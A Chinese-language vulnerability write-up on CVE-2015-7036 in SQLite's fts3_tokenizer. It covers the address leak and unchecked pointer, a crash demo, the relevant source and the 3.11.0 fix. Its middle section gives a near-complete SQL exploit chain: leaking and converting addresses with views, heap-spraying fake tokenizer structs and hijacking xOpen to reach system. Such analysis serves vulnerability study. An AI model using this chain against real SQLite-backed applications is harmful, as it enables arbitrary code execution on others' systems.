CVE-2015-7036

漏洞简介

该漏洞是由于sqlite中fts3_tokenizer函数自身的不安全特性所引起的

这个函数存在以下的问题:

  • 信息泄露
    • fts3_tokenizer将注册的 tokenizer 的地址作为 BLOB 返回,
      查询内置标记器可能会泄漏 sqlite 模块的基地址(大端)
  • 对不受信任的指针解引用
    • fts3_tokenizer 认为第二个参数始终是指向 sqlite3_tokenizer_module 的有效指针,它永远无法知道参数的真实类型

基于此漏洞,我们可以通过sql语句实现任意命令执行

在官网可以找到这样一段:

https://www.sqlite.org/compile.html#enable_fts3_tokenizer

Untitled.png

此选项启用 fts3_tokenizer() 接口的两个参数版本。 fts3_tokenizer() 的第二个参数假设是一个指向实现应用程序定义的标记器的函数(编码为 BLOB)的指针。 如果敌对参与者能够使用任意第二个参数运行 fts3_tokenizer() 的双参数版本,他们可以使用崩溃或控制进程。

出于安全考虑,除非使用此编译时选项,否则从版本 3.11.0 (2016-02-15) 开始禁用双参数 fts3_tokenizer() 功能。 版本 3.12.0 (2016-03-29) 添加了 sqlite3_db_config(db,SQLITE_DBCONFIG_ENABLE_FTS3_TOKENIZER,1,0) 接口,该接口在运行时为特定数据库连接激活 fts3_tokenizer() 的两个参数版本

即从版本3.11.0 (2016-02-15) 开始修复该漏洞

漏洞分析

CVE-2015-7036是发生在Apple iOS 8.4以前版本和 OS X 10.10.4版本以前的漏洞,原因是内置的SQLite的fts3_tokenizer函数存在任意命令执行漏洞,远程攻击者可以通过SQL命令执行任意指令或导致系统崩溃,拒绝服务

sqlite中支持fts表(full-text search的简称),fts3其实是sqlite的一个扩展模块,是虚拟表模块,允许用户使用 MATCH ‘keyword’ 查询而非 LIKE ‘%keyword%’ 子串匹配的方式实现全文检索。在实现全文搜索的过程中,对原始内容进行分词是一个必须的过程。SQLite内置的simple和porter分词器只能支持ASCII字符的英文分词,为满足不同语言的需求,SQLite 3.7.13开始引入unicode61分词器以支持unicode,并提供给开发者自行添加分词器的接口

sqlite在fts3_tokenizer.h中提供了各种接口供用户自定义分词器,但其并未提供c函数供用户来注册自定义的分词器,分词器的注册必须使用sql语句来完成

信息泄露

触发:SELECT fts3_tokenizer(tokenizer-name)

tokenizer-name是分词器的名字,当该函数只使用一个参数时,调用该函数将会返回该分词器的sqlite3_tokenizer_module结构体指针

这样的用法,原本是用来检测分词器是否被注册的,但是缺造成了地址信息的泄露,攻击者可以借此绕过aslr等保护

先下载3.10.2的sqlite:

1
wget https://github.com/sqlite/sqlite/archive/refs/tags/version-3.10.2.tar.gz

编译完成之后试运行:

1
2
3
4
5
6
7
SQLite version 3.10.2 2016-01-20 15:27:19
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> select hex(fts3_tokenizer('simple'));
201EAD70A27F0000
sqlite>

可以看到确实得到了地址信息,返回的是大端(注意7F)

不安全的指针引用

触发:SELECT fts3_tokenizer(tokenizer-name, sqlite3_tokenizer_module ptr);

这里的sqlite3_tokenizer_module ptr表示一个指向sqlite3_tokenizer_module结构的指针并且编码为SQL blob。这种用法用来注册新的分词器,在SQL下执行此形式语句,即可注册一个的分词器。没错,这里就是把指针当成参数直接放进SQL语句中了,这个指针指向一个 sqlite3_tokenizer_module 结构体

我们来看看这个结构体到底长啥样,结构体定义位于fts3_tokenizer.h中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
struct sqlite3_tokenizer_module {

/*
** Structure version. Should always be set to 0 or 1.
*/
int iVersion;

/*
** Create a new tokenizer. The values in the argv[] array are the
** arguments passed to the "tokenizer" clause of the CREATE VIRTUAL
** TABLE statement that created the fts3 table. For example, if
** the following SQL is executed:
**
** CREATE .. USING fts3( ... , tokenizer <tokenizer-name> arg1 arg2)
**
** then argc is set to 2, and the argv[] array contains pointers
** to the strings "arg1" and "arg2".
**
** This method should return either SQLITE_OK (0), or an SQLite error
** code. If SQLITE_OK is returned, then *ppTokenizer should be set
** to point at the newly created tokenizer structure. The generic
** sqlite3_tokenizer.pModule variable should not be initialized by
** this callback. The caller will do so.
*/
int (*xCreate)(
int argc, /* Size of argv array */
const char *const*argv, /* Tokenizer argument strings */
sqlite3_tokenizer **ppTokenizer /* OUT: Created tokenizer */
);

/*
** Destroy an existing tokenizer. The fts3 module calls this method
** exactly once for each successful call to xCreate().
*/
int (*xDestroy)(sqlite3_tokenizer *pTokenizer);

/*
** Create a tokenizer cursor to tokenize an input buffer. The caller
** is responsible for ensuring that the input buffer remains valid
** until the cursor is closed (using the xClose() method).
*/
int (*xOpen)(
sqlite3_tokenizer *pTokenizer, /* Tokenizer object */
const char *pInput, int nBytes, /* Input buffer */
sqlite3_tokenizer_cursor **ppCursor /* OUT: Created tokenizer cursor */
);

/*
** Destroy an existing tokenizer cursor. The fts3 module calls this
** method exactly once for each successful call to xOpen().
*/
int (*xClose)(sqlite3_tokenizer_cursor *pCursor);

/*
** Retrieve the next token from the tokenizer cursor pCursor. This
** method should either return SQLITE_OK and set the values of the
** "OUT" variables identified below, or SQLITE_DONE to indicate that
** the end of the buffer has been reached, or an SQLite error code.
**
** *ppToken should be set to point at a buffer containing the
** normalized version of the token (i.e. after any case-folding and/or
** stemming has been performed). *pnBytes should be set to the length
** of this buffer in bytes. The input text that generated the token is
** identified by the byte offsets returned in *piStartOffset and
** *piEndOffset. *piStartOffset should be set to the index of the first
** byte of the token in the input buffer. *piEndOffset should be set
** to the index of the first byte just past the end of the token in
** the input buffer.
**
** The buffer *ppToken is set to point at is managed by the tokenizer
** implementation. It is only required to be valid until the next call
** to xNext() or xClose().
*/
/* TODO(shess) current implementation requires pInput to be
** nul-terminated. This should either be fixed, or pInput/nBytes
** should be converted to zInput.
*/
int (*xNext)(
sqlite3_tokenizer_cursor *pCursor, /* Tokenizer cursor */
const char **ppToken, int *pnBytes, /* OUT: Normalized text for token */
int *piStartOffset, /* OUT: Byte offset of token in input buffer */
int *piEndOffset, /* OUT: Byte offset of end of token in input buffer */
int *piPosition /* OUT: Number of tokens returned before this one */
);

/***********************************************************************
** Methods below this point are only available if iVersion>=1.
*/

/*
** Configure the language id of a tokenizer cursor.
*/
int (*xLanguageid)(sqlite3_tokenizer_cursor *pCsr, int iLangid);
};

可以看到其中有一些函数指针,如xCreate,xOpen,xClose等,这些指针将会在sqlite3后续的一些操作中被调用,显然,当结构体指针为一个非法值时,如果触发回调函数,就会触发crash

可以来验证一下:

1
2
3
4
5
6
7
8
SQLite version 3.10.2 2016-01-20 15:27:19
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> select fts3_tokenizer('simple', x'4141414141414141');
AAAAAAAA
sqlite> create virtual table a using fts3;
fish: Job 2, “./sqlite3” terminated by signal SIGSEGV (Address boundary error)

可以看到成功crash掉了

上gdb调试看看崩溃现场

Untitled 1.png

bt栈回溯:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bt
#0 0x00007ff5182f704b in sqlite3Fts3InitTokenizer (pHash=pHash@entry=0x564aafefdfc0, zArg=zArg@entry=0x7ff518356b6a "simple", ppTok=ppTok@entry=0x7fff8ed1c0f0, pzErr=pzErr@entry=0x7fff8ed1c228) at sqlite3.c:146285
#1 0x00007ff5183490ce in fts3InitVtab (isCreate=isCreate@entry=1, db=db@entry=0x564aafefe1e0, pAux=0x564aafefdfc0, argc=argc@entry=3, argv=argv@entry=0x564aaff10790, ppVTab=ppVTab@entry=0x564aaff0e9c0, pzErr=0x7fff8ed1c228) at sqlite3.c:138580
#2 0x00007ff518349fb4 in fts3CreateMethod (db=db@entry=0x564aafefe1e0, pAux=<optimized out>, argc=argc@entry=3, argv=argv@entry=0x564aaff10790, ppVtab=ppVtab@entry=0x564aaff0e9c0, pzErr=pzErr@entry=0x7fff8ed1c228) at sqlite3.c:138751
#3 0x00007ff5182f2638 in vtabCallConstructor (db=db@entry=0x564aafefe1e0, pTab=pTab@entry=0x564aaff122d0, pMod=0x564aafeffdf0, xConstruct=0x7ff518349f90 <fts3CreateMethod>, pzErr=pzErr@entry=0x564aaff10848) at sqlite3.c:118329
#4 0x00007ff51831e462 in sqlite3VtabCallCreate (pzErr=0x564aaff10848, zTab=<optimized out>, iDb=<optimized out>, db=0x564aafefe1e0) at sqlite3.c:118504
#5 sqlite3VdbeExec (p=<optimized out>) at sqlite3.c:14405
#6 0x00007ff518325fb8 in sqlite3Step (p=0x564aaff10800) at sqlite3.c:72356
#7 sqlite3_step (pStmt=<optimized out>) at sqlite3.c:6881
#8 sqlite3_step (pStmt=<optimized out>) at sqlite3.c:6868
#9 0x0000564aaef9b858 in shell_exec (db=0x564aafefe1e0, zSql=0x564aafefe145 "create virtual table a using fts3;", pArg=0x7fff8ed1c960, pzErrMsg=0x7fff8ed1c7d8, xCallback=0x564aaef9a900 <shell_callback>) at /home/r1nd0/Desktop/sqlite_cve/build/../sqlite-version-3.10.2/src/shell.c:1626
#10 0x0000564aaefa0e0a in process_input (p=0x7fff8ed1c960, in=0x0) at /home/r1nd0/Desktop/sqlite_cve/build/../sqlite-version-3.10.2/src/shell.c:4359
#11 0x0000564aaef97586 in main (argc=argc@entry=1, argv=argv@entry=0x7fff8ed1e018) at /home/r1nd0/Desktop/sqlite_cve/build/../sqlite-version-3.10.2/src/shell.c:4942
#12 0x00007ff518074083 in __libc_start_main (main=0x564aaef96e30 <main>, argc=1, argv=0x7fff8ed1e018, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fff8ed1e008) at ../csu/libc-start.c:308
#13 0x0000564aaef9816e in _start () at /usr/include/x86_64-linux-gnu/bits/stdio2.h:100

可以看到,此时的rax为非法的结构体指针0x4141414141414141,在执行call [rax + 8]时候造成crash

回调函数在sqlite3Fts3InitTokenizer函数中被调用

来看下sqlite.c的sqlite3Fts3InitTokenizer函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
SQLITE_PRIVATE int sqlite3Fts3InitTokenizer(
Fts3Hash *pHash, /* Tokenizer hash table */
const char *zArg, /* Tokenizer name */
sqlite3_tokenizer **ppTok, /* OUT: Tokenizer (if applicable) */
char **pzErr /* OUT: Set to malloced error message */
){
int rc;
char *z = (char *)zArg;
int n = 0;
char *zCopy;
char *zEnd; /* Pointer to nul-term of zCopy */
sqlite3_tokenizer_module *m;

zCopy = sqlite3_mprintf("%s", zArg);
if( !zCopy ) return SQLITE_NOMEM;
zEnd = &zCopy[strlen(zCopy)];

z = (char *)sqlite3Fts3NextToken(zCopy, &n);
if( z==0 ){
assert( n==0 );
z = zCopy;
}
z[n] = '\0';
sqlite3Fts3Dequote(z);

m = (sqlite3_tokenizer_module *)sqlite3Fts3HashFind(pHash,z,(int)strlen(z)+1);
if( !m ){
sqlite3Fts3ErrMsg(pzErr, "unknown tokenizer: %s", z);
rc = SQLITE_ERROR;
}else{
char const **aArg = 0;
int iArg = 0;
z = &z[n+1];
while( z<zEnd && (NULL!=(z = (char *)sqlite3Fts3NextToken(z, &n))) ){
int nNew = sizeof(char *)*(iArg+1);
char const **aNew = (const char **)sqlite3_realloc((void *)aArg, nNew);
if( !aNew ){
sqlite3_free(zCopy);
sqlite3_free((void *)aArg);
return SQLITE_NOMEM;
}
aArg = aNew;
aArg[iArg++] = z;
z[n] = '\0';
sqlite3Fts3Dequote(z);
z = &z[n+1];
}
rc = m->xCreate(iArg, aArg, ppTok);

可以看到,该函数的一个参数为分词器的名字zArg

随后调用sqlite3Fts3HashFind函数通过tokenizer-name来获取到sqlite3_tokenizer_module结构体指针m

随后执行m→xCreate(),即造成crash

攻击者构造出一个结构体之后,获取到该结构体的内存地址,并使用 SQL 注入等手段让目标注册构造好的“分词器”,再通过 SQL 触发特殊回调就可以实现劫持 IP 寄存器,执行任意代码

fts3_tokenizer函数

找一下fts3_tokenizer函数的调用,可以在fts3_tokenizer.c中看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
static void scalarFunc(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
Fts3Hash *pHash;
void *pPtr = 0;
const unsigned char *zName;
int nName;

assert( argc==1 || argc==2 );

pHash = (Fts3Hash *)sqlite3_user_data(context);

zName = sqlite3_value_text(argv[0]);
nName = sqlite3_value_bytes(argv[0])+1;

if( argc==2 ){
void *pOld;
int n = sqlite3_value_bytes(argv[1]);
if( zName==0 || n!=sizeof(pPtr) ){
sqlite3_result_error(context, "argument type mismatch", -1);
return;
}
pPtr = *(void **)sqlite3_value_blob(argv[1]);
pOld = sqlite3Fts3HashInsert(pHash, (void *)zName, nName, pPtr);
if( pOld==pPtr ){
sqlite3_result_error(context, "out of memory", -1);
return;
}
}else{
if( zName ){
pPtr = sqlite3Fts3HashFind(pHash, zName, nName);
}
if( !pPtr ){
char *zErr = sqlite3_mprintf("unknown tokenizer: %s", zName);
sqlite3_result_error(context, zErr, -1);
sqlite3_free(zErr);
return;
}
}

sqlite3_result_blob(context, (void *)&pPtr, sizeof(pPtr), SQLITE_TRANSIENT);
}

这个函数就是fts3_tokenizer函数会调用到的部分

可以看到,当参数只有一个时,会根据zName去获取结构体的地址,找到就返回,没找到就报错unknown tokenizer

当参数为两个时,只验证了sqlite3_value_bytes(argv[1])==sizeof(pPtr),随后并未验证这是不是真的是一个合法的结构体指针便进行了sqlite3Fts3HashInsert操作

exp

这里有一个exp的思路:

https://nosec.org/home/detail/2856.html

大致的过程:

  • 利用fts3_tokenizer泄露0x7f开头的libc地址
  • 利用zeroblob进行堆喷,伪造多个结构体
  • 劫持结构体中的xOpen函数进行利用
  • 利用另一个漏洞,虚拟表的MATCH接口泄露堆地址,修改结构体指针,完成利用

fts3_tokenizer信息泄露

由于泄露出来的地址是大端的,我们利用substr来转成小端看看:

image.png

gdb连上去看看:

image.png

可以看到该地址属于libsqlite3.so的范畴,有意思

也就是说我们可以拿到libsqlite.so的所有函数地址了

现在我们需要借此计算出libsqlite.so的基地址并把这个值保存下来,如何保存呢?可以借用view来做:

1
2
3
4
5
6
7
8
9
10
11
12
13
sqlite> create view le_leak as select hex(fts3_tokenizer('simple')) as col;
sqlite> create view leak as select substr((select col from le_leak), -2, 2)||
...> substr((select col from le_leak), -4, 2) ||
...> substr((select col from le_leak), -6, 2) ||
...> substr((select col from le_leak), -8, 2) ||
...> substr((select col from le_leak), -10, 2) ||
...> substr((select col from le_leak), -12, 2) ||
...> substr((select col from le_leak), -14, 2) ||
...> substr((select col from le_leak), -16, 2) as col;
sqlite> select col from leak
...> ;
00007FE6857FBE20
sqlite>

ok,我们已经成功把这个数据给保存了下来

接下来我们需要把这个数据转化为一个整数并保存

结合instr函数来做:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
sqlite> CREATE VIEW u64_leak AS SELECT (
...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), 0, -1)) - 1 ) * (1 << 0))) +
...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -1, -1)) - 1 ) * (1 << 4))) +
...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -2, -1)) - 1 ) * (1 << 8))) +
...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -3, -1)) - 1 ) * (1 << 12))) +
...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -4, -1)) - 1 ) * (1 << 16))) +
...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -5, -1)) - 1 ) * (1 << 20))) +
...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -6, -1)) - 1 ) * (1 << 24))) +
...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -7, -1)) - 1 ) * (1 << 28))) +
...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -8, -1)) - 1 ) * (1 << 32))) +
...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -9, -1)) - 1 ) * (1 << 36))) +
...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -10, -1)) - 1 ) * (1 << 40))) +
...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -11, -1)) - 1 ) * (1 << 44))) +
...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -12, -1)) - 1 ) * (1 << 48))) +
...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -13, -1)) - 1 ) * (1 << 52))) +
...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -14, -1)) - 1 ) * (1 << 56))) +
...> (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -15, -1)) - 1 ) * (1 << 60)))
...> ) AS col;
sqlite>
sqlite> select col from u64_leak;
139725057834528
sqlite>

地址计算

然后计算libsqlite.so的基地址:

1
2
3
4
5
6
sqlite> CREATE VIEW u64_libsqlite_base AS SELECT (
...> (SELECT col FROM u64_leak) - (SELECT '810528')
...> ) AS col;
sqlite> SELECT col FROM u64_libsqlite_base;
139725057024000
sqlite>

经调试,该基地址正确

接下来,我们需要计算出所需的一些函数的地址,如simple_create函数,因为我们想劫持的是xOpen指针,所以我们并不想破坏这个xCreate函数指针

计算完毕之后还要通过char来将数字转字符,即相当于pwntools中p64的操作

因此我们要实现类似chr()函数的功能

使用sqlite中的char()函数似乎可以做到这一点,但其实并不总是如此:

1
2
3
4
5
sqlite> select hex(char(0x41));
41
sqlite> select hex(char(0x8f));
C28F
sqlite>

可以看出,char()只针对ASCII码内的字符,当大于0x7f的时候就是unicode了

因此我们需要自己创建一个映射表,即0x1 —> “\x01”,0xff —> “\xff”,类似这样的映射表

回顾一下这个结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct sqlite3_tokenizer_module {
int iVersion;
int (*xCreate)(
int argc, /* Size of argv array */
const char *const*argv, /* Tokenizer argument strings */
sqlite3_tokenizer **ppTokenizer /* OUT: Created tokenizer */
);
int (*xDestroy)(sqlite3_tokenizer *pTokenizer);
int (*xOpen)(
sqlite3_tokenizer *pTokenizer, /* Tokenizer object */
const char *pInput, int nBytes, /* Input buffer */
sqlite3_tokenizer_cursor **ppCursor /* OUT: Created tokenizer cursor */
);
int (*xClose)(sqlite3_tokenizer_cursor *pCursor);
int (*xNext)(
sqlite3_tokenizer_cursor *pCursor, /* Tokenizer cursor */
const char **ppToken, int *pnBytes, /* OUT: Normalized text for token */
int *piStartOffset, /* OUT: Byte offset of token in input buffer */
int *piEndOffset, /* OUT: Byte offset of end of token in input buffer */
int *piPosition /* OUT: Number of tokens returned before this one */
);
int (*xLanguageid)(sqlite3_tokenizer_cursor *pCsr, int iLangid);
};

相关函数地址计算:

1
2
3
4
5
6
7
8
9
10
11
sqlite> CREATE VIEW u64_simple_create AS SELECT (
...> (SELECT col FROM u64_libsqlite_base) + (SELECT '164624')
...> ) AS col;
sqlite> SELECT col FROM u64_simple_create;
140069968245520
sqlite> CREATE VIEW u64_simple_destroy AS SELECT (
...> (SELECT col FROM u64_libsqlite_base) + (SELECT '137952')
...> ) AS col;
sqlite> SELECT col FROM u64_simple_destroy;
140069968218848
sqlite>

转p64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
CREATE VIEW p64_simple_create AS SELECT cast (
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_simple_create) / (1 << 0) % 256)) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_simple_create) / (1 << 8) % 256)) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_simple_create) / (1 << 16) % 256)) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_simple_create) / (1 << 24) % 256)) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_simple_create) / (1 << 32) % 256)) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_simple_create) / (1 << 40) % 256)) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_simple_create) / (1 << 48) % 256)) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_simple_create) / (1 << 56) % 256))
AS BLOB) AS col;

CREATE VIEW p64_simple_destroy AS SELECT cast (
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_simple_destroy) / (1 << 0) % 256)) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_simple_destroy) / (1 << 8) % 256)) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_simple_destroy) / (1 << 16) % 256)) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_simple_destroy) / (1 << 24) % 256)) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_simple_destroy) / (1 << 32) % 256)) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_simple_destroy) / (1 << 40) % 256)) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_simple_destroy) / (1 << 48) % 256)) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_simple_destroy) / (1 << 56) % 256))
AS BLOB) AS col;

结构体伪造

因为要劫持xOpen函数,所以我们至少需要构造结构体的钱四项,归根结底就是连续的0x20个字节的数据

原文提供了一个优雅的办法来构造结构体数据并制造堆喷:

1
2
3
4
SELECT replace(hex(zeroblob(10000)), "00", x'4141414141414141' || 
p64_simple_create.col ||
p64_simple_destroy.col ||
x'4242424242424242') FROM p64_simple_create JOIN p64_simple_destroy;

很有意思的一个构造方法

zeroblob(N)函数会返回一个由n个字节组成的BLOB对象,然后我们使用replace() 将这些0替换为虚假对象

也就是说,0字节会被替换为我们所伪造的0x20个字节的结构体数据,并且这些数据都在堆上,一次性构造出多个,制造堆喷

如下,0x20个字节一组,构造出了多个这样的假结构体:

image.png

堆地址获取

利用另一个漏洞来获取堆地址:

1
2
3
4
5
sqlite> CREATE VIRTUAL TABLE vt USING fts3(content TEXT);
sqlite> INSERT INTO vt VALUES('some text');
sqlite> SELECT hex(vt) FROM vt WHERE content MATCH 'text';
80DCEDAF17560000
sqlite>

跟随后堆喷的地址对比下:

image.png

选个中间的块做偏移计算即可

验证

最后的步骤,我们回过头去,计算出system函数的地址

然后替换到xOpen,即BBBBBBBB的地方

由于这里的fts3_tokenizer的第二个参数为blob,手动验证一下

后续对virtual table进行insert操作的时候,即可调用xOpen,从而触发system

调试如下:

image.png

漏洞修复

3.11.0中的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
static void scalarFunc(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
Fts3Hash *pHash;
void *pPtr = 0;
const unsigned char *zName;
int nName;

assert( argc==1 || argc==2 );

pHash = (Fts3Hash *)sqlite3_user_data(context);

zName = sqlite3_value_text(argv[0]);
nName = sqlite3_value_bytes(argv[0])+1;

if( argc==2 ){
#ifdef SQLITE_ENABLE_FTS3_TOKENIZER
void *pOld;
int n = sqlite3_value_bytes(argv[1]);
if( zName==0 || n!=sizeof(pPtr) ){
sqlite3_result_error(context, "argument type mismatch", -1);
return;
}
pPtr = *(void **)sqlite3_value_blob(argv[1]);
pOld = sqlite3Fts3HashInsert(pHash, (void *)zName, nName, pPtr);
if( pOld==pPtr ){
sqlite3_result_error(context, "out of memory", -1);
return;
}
#else
sqlite3_result_error(context, "fts3tokenize: "
"disabled - rebuild with -DSQLITE_ENABLE_FTS3_TOKENIZER", -1
);
return;
#endif /* SQLITE_ENABLE_FTS3_TOKENIZER */
}else
{
if( zName ){
pPtr = sqlite3Fts3HashFind(pHash, zName, nName);
}
if( !pPtr ){
char *zErr = sqlite3_mprintf("unknown tokenizer: %s", zName);
sqlite3_result_error(context, zErr, -1);
sqlite3_free(zErr);
return;
}
}

sqlite3_result_blob(context, (void *)&pPtr, sizeof(pPtr), SQLITE_TRANSIENT);
}

可以看到想要实现修改结构体指针,得在编译时候开启SQLITE_ENABLE_FTS3_TOKENIZER选项,默认情况下这个功能是没有的了

但是信息泄露仍然存在

看了下最新版的信息泄露已经没有了